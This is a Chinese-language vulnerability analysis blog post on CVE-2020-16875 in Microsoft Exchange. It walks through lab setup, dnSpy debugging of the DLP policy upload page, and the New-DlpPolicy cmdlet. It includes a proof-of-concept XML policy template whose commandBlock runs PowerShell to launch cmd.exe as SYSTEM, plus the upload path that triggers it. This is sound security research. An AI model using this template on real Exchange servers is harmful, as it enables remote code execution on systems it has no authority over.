Exchange漏洞分析系列 CVE-2020-16875

阅读量    67928 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

2020-09-08微软发布漏洞通告CVE-2020-16875 | Microsoft Exchange Server 远程执行代码漏洞
链接https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-16875
由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。

2020-09-11 srcincite发布POC。 链接https://srcincite.io/advisories/src-2020-0019/

由于自己一直对Exchange的相关漏洞比较感兴趣,于是赶紧搭建环境对该漏洞进行复现和分析工作。在此分享自己分析漏洞的一些过程,希望能帮助大家对漏洞有进一步的认识,也方便上手实践,并一起探讨学习!

 

环境工具准备

1.系统环境:

Windows Server 2016 Datacenter 64 位
在其上搭建一个2016的AD(DC)域控制器(网上有很多搭建资料)

2.Exchange环境:

ExchangeServer2016-x64-cu14
微软Exchange版本比对表https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

PS:需要先安装以下三个组件,再安装Exchange。内存最好8G或以上,CPU2或以上。

NDP472-KB4054530-x86-x64-AllOS-ENU.exe
UcmaRuntimeSetup.exe
vcredist_x64.exe (Microsoft Visual C++ 2013 Redistributable)

3.额外操作

Exchange环境搭建好后,请新建一个邮箱账户,比如hello。然后在服务器上打开Exchange Management Shell,并在其中执行:

New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "hello"
Get-RoleGroup "dlp users" | Format-List

上面的操作是在对应账户hello上开启Data Loss Prevention角色(该漏洞利用需要满足的条件)

4.分析工具:

dnSpy v6.1.7 https://github.com/0xd4d/dnSpy

 

DLP背景

防止数据丢失(Data loss Prevention)是Exchange Server 2013带来的一个新功能,感觉其实应该叫做防止数据泄露,许多第三方工具和设备也有类似的功能,而在Exchange 2013中直接集成了,并且之前的传输规则也整合到了一起。该功能通过对内容的深入分析,能够帮助企业识别、监控和保护敏感信息传递。
DLP通过关键字匹配、词典匹配、正则表达式的评估,和其他内容的检查,深入分析内容以发现组织内违法DLP规则的内容。一旦发现了违反了规则的内容,DLP会对用户进行提醒或者是组织,告知提醒用户邮件包含敏感内容或者违规传递。

 

漏洞分析

在浏览器中访问Exchange服务器,并以hello账户登录后,我们在URL中输入https://XXX.XXX.XXX.XXX/ecp/DLPPolicy/ManagePolicyFromISV.aspx,出现如下页面:

dlp_07

可以看到该页面可以上传一个DLP的策略模版XML文件。该XML文件模版样式可以从https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help中找到。

dlp_05_2

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>Microsoft</publisherName>
    <name>
      <localizedString lang="en">PCI-DSSTest</localizedString>
    </name>
    <description>
      <localizedString lang="en">Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <ruleParameters/>
    <policyCommands>
      <!-- The contents below are applied/executed as rules directly in PS - -->
      <commandBlock>
        <![CDATA[ new-transportRule "PCI-DSS: Monitor Payment Card Information Sent To Outside" -DlpPolicy "%%DlpPolicyName%%" -SentToScope NotInOrganization -SetAuditSeverity High -MessageContainsDataClassifications @{Name="Credit Card Number"; MinCount="1" } -Comments "Monitors payment card information sent to outside the organization as part of the PCI-DSS DLP Policy."]]>
      </commandBlock>
      <commandBlock>
        <![CDATA[ new-transportRule "PCI-DSS: Monitor Payment Card Information Sent To Within" -DlpPolicy "%%DlpPolicyName%%" -Comments "Monitors payment card information sent inside the organization as part of the PCI-DSS DLP Policy." -SentToScope InOrganization -SetAuditSeverity Low -MessageContainsDataClassifications @{Name="Credit Card Number"; MinCount="1" } ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>

我们将该内容保存到本地xml文件中,然后在ManagePolicyFromISV.aspx选择本地xml文件,随便写一个策略名称和对应描述,先不要点击保存按钮,因为我们要使用调试器附加进程,看看Exchange服务端的处理流程。

由于前面在浏览器上访问了ManagePolicyFromISV.aspx页面,aspx文件在.NET Framework下运行一般会在C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\ecp\路径中生成App_Web_xxxx.dll。我们可以将这些dll拖入dnSpy工具中,并找到负责处理ManagePolicyFromISV.aspx页面的类,如下图

dlp_static_01

aspx的请求处理大致流程可以参考http://www.360doc.com/content/10/0826/14/2608032_48926077.shtmlhttps://www.jb51.net/article/35957.htm

ASP.NET页面中通过Page类定义的Context属性访问HttpContext对象。每个被访问的ASP.NET页面都会被转换为一个“派生自Page类的页面类”。Page类实现了IHttpHandler接口,此接口定义了一个ProcessRequest()方法。ASP.NET页面类生成以后被自动编译为程序集,然后其ProcessRequest()方法被自动调用。

因此,我们可以利用dnSpy工具先在System.Web.UI.Page类中的public virtual void ProcessRequest(HttpContext context)函数中下断点,然后具Attach上对应进程,进行调试。通过/ecp/DLPPolicy/ManagePolicyFromISV.aspxURL,我们可以推测下图进程会处理ECP模块的请求。

debug_1

dnSpy工具设置断点和附加进程过程如下(方便上手):

dlp_debug_1.gif

一步步调试,我们可以发现,进入System.Web.UI.Page类的ProcessRequest()函数后,之后又会来到ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)函数。ProcessRequestMain()又会调用LoadRecursive()。LoadRecursive()根据对象的不同,又会进入不同的处理方法。

debug_16875_4

最终进入Microsoft.Exchange.Management.ControlPanel.DLPISVService类中的ExecuteUpload()函数中。可以看到该函数中调用了一个ProcessUpload函数,其中传递的参数之一TemplateData就是我们上传DLP的策略模版XML文件的字节形式。

dlp_08

我们跟随进入到DLPISVService类中的ProcessUpload()函数中,如下图,可以发现其即将调用和执行PSCommand() [Powershell cmdlet]。我们的参数parameters将会被传给New-DLPPolicy这个cmdlet中。下图中我特意附上了调用堆栈,方便大家跟踪调试。

debug_16875_5

>    Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.DLPISVService.ProcessUpload(Microsoft.Exchange.Management.ControlPanel.DLPPolicyUploadParameters parameters) (IL=0x0006, Native=0x00007FFF99CF4E50+0x15)
     Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV.ExecuteUpload() (IL≈0x00CE, Native=0x00007FFF99CF48A0+0x298)
     Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV.OnLoad(System.EventArgs e) (IL=epilog, Native=0x00007FFF99CE4410+0x10C)
     System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL≈0x0011, Native=0x00007FFFE5E53100+0x100)
     System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3, Native=0x00007FFFE5E61250+0xEC9)
     System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C, Native=0x00007FFFE5E60FF0+0x9F)
     System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL≈0x0014, Native=0x00007FFFE5E60F60+0x4B)
     System.Web.dll!System.Web.UI.Page.ProcessRequest(System.Web.HttpContext context) (IL=epilog, Native=0x00007FFFE5E60EE0+0x46)
     App_Web_ojcsje1s.dll!ASP.dlppolicy_managepolicyfromisv_aspx.ProcessRequest(System.Web.HttpContext context) (IL=0x0007, Native=0x00007FFF99CDD310+0x2D)

此时我们的关注点转向New-DLPPolicy这个cmdlet。从微软官方的介绍中,可以看到使用New-DlpPolicy cmdlet的用法。

此cmdlet可在本地Exchange和基于云的服务中使用,使用DlpPolicy cmdlet可以在您的Exchange组织中创建数据丢失防护(DLP)策略。

dlp_01

具体使用的例子(使用US XXX 模版):

dlp_02

其中我们关注到一个参数,-TemplateData,可以传入字节形式的参数,与之前调试过程完全对应!

dlp_03

我们再来看XML中的<commandBlock>字段,可以看到官方模版中是写了一个new-transportRule,这个也是Exchange中的一个cmdlet。如果这里写入Powershell 的cmdlet,是否会执行呢?

dlp_09

构造如下POC.XML文件,在<commandBlock>字段中写入创建一个cmd.exe的代码:

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>Microsoft</publisherName>
    <name>
      <localizedString lang="en">PCI-DSS-12345</localizedString>
    </name>
    <description>
      <localizedString lang="en">Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <!-- The contents below are applied/executed as rules directly in PS - -->
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c cmd.exe";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start(); ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>

我们再到浏览器中的/ecp/DLPPolicy/ManagePolicyFromISV.aspx页面,上传POC.xml,策略名称要和上次的不同,否则会报该策略已安装。最后点击保存,即可在服务器端触发漏洞。见下面演示。

DLP_Exp.gif

另外,如果我们在Exchange服务器上使用Exchange Management Shell执行下面命令,可以看到w3wp.exe进程也弹出了System权限的cmd.exe
New-DlpPolicy -Name "PCI-DSS-12345" -TemplateData ([Byte[]]$(Get-Content -Path 'C:\work\poc.xml' -Encoding Byte -ReadCount 0))

dlp_06

可见,该漏洞的原因在于Exchange的New-DlpPolicy cmdlet没有对-TemplateData中的XML数据进行任何检查,导致其能够以System权限执行一些非法命令。同时,开启DLP账户的/ecp/DLPPolicy/ManagePolicyFromISV.aspx页面又为远程调用New-DlpPolicy创造了条件,从而产生了RCE漏洞。

 

感悟

这个Exchange漏洞还是比较有意思的,其核心问题是对cmdlet参数处理不当,或者说没有验证参数是否合法。不过该漏洞需要对应账户开启Data Loss Prevention角色,否则无法访问漏洞所在页面。在分析漏洞的过程中,我也掌握了如何搭建环境、调试、分析等技能,拓展了相关知识。下一篇计划研究经典的CVE-2020-0688漏洞,并结合.NET序列化与反序列化、ASP.NET等问题对漏洞成因深入分析,敬请期待~

 

参考资料

主要是微软的官方文档。

https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
https://blog.csdn.net/weixin_34004750/article/details/85173931
https://docs.microsoft.com/zh-cn/powershell/module/exchange/new-dlppolicy?view=exchange-ps
https://docs.microsoft.com/powershell/exchange/exchange-cmdlet-syntax

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多